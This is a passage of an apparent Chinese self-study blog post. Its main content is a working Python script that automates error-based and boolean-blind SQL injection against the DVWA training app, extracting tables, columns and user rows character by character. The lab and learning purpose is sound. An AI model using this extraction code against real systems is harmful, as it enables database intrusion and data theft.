        # print(res)
        if res.find('MISSING') == -1:
            break
        rowNum += 1
    print(f'fieldNum:{rowNum}')
    row = 0
    # 一行行的爆数据,就不保存了,直接输出
    while row < rowNum:
        # 数据长度
        rowLen = 1
        while True:
            uid = f'1 and length(substr((select {col} from {table} limit {row},1),1)) = {rowLen}#'
            # print(uid)
            rowLen_payload = {'id': uid, 'Submit': 'Submit'}
            res = Post(url_blind, headers_blind, rowLen_payload)
            if res.find('MISSING') == -1:
                break
            rowLen += 1
        # print('rowLen:', rowLen)
        fields = ""
        for m in range(1, rowLen + 1):
            for chr in data_guess:
                uid = f'1 and ascii(substr((select {col} from {table} limit {row},1),{m},1))={ord(chr)} #'
                # print(uid)
                rowContent_payload = {'id': uid, 'Submit': 'Submit'}
                res = Post(url_blind, headers_blind, rowContent_payload)
                if res.find('MISSING') == -1:
                    fields = fields + chr
                    break
        print(fields)
        row += 1


if __name__ == "__main__":
    print('dvwa medium级别 Error注入')
    Get_tables()
    users_hex = str_to_hex('users')
    Get_columns(f'0x{users_hex}')
    cols = ['user', 'avatar']
    Get_data('users', cols)
    print('dvwa medium级别 Boolean盲注')
    Get_db_blind()
    Get_tables_blind()
    Get_columns_blind(f'0x{users_hex}')
    cols = ['user', 'avatar']
    Get_data_blind('users', 'user')
    # Get_data_blind('users', 'avatar')
结果

不满意的地方

1.花费了我将近一下午的时间,由于post方式,不容易调试

2.没有很好的兼容性

3.updatexml注入只能显示32位,本来想用~来判断结果,最后使用的pre,显示的不全,有时间学学报错注入的其他函数

4.用的话需要修改url,headers,盲注的猜测字符字典

5.用到的包就是request,可以查看Python-requests库的学习与使用举例,解析html直接使用的字符串查找,可以使用beautifulsoup这个包。

sqlmap还是很厉害的

看到这位工作了几年的老哥,依然很难写出兼容性强的代码,感觉好受一点。。。 sqlmap还是很强的,不过除了需要一个个

字符猜的那种,不建议使用sqlmap,还是手工比较好。

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。


更多相关内容:请点击查看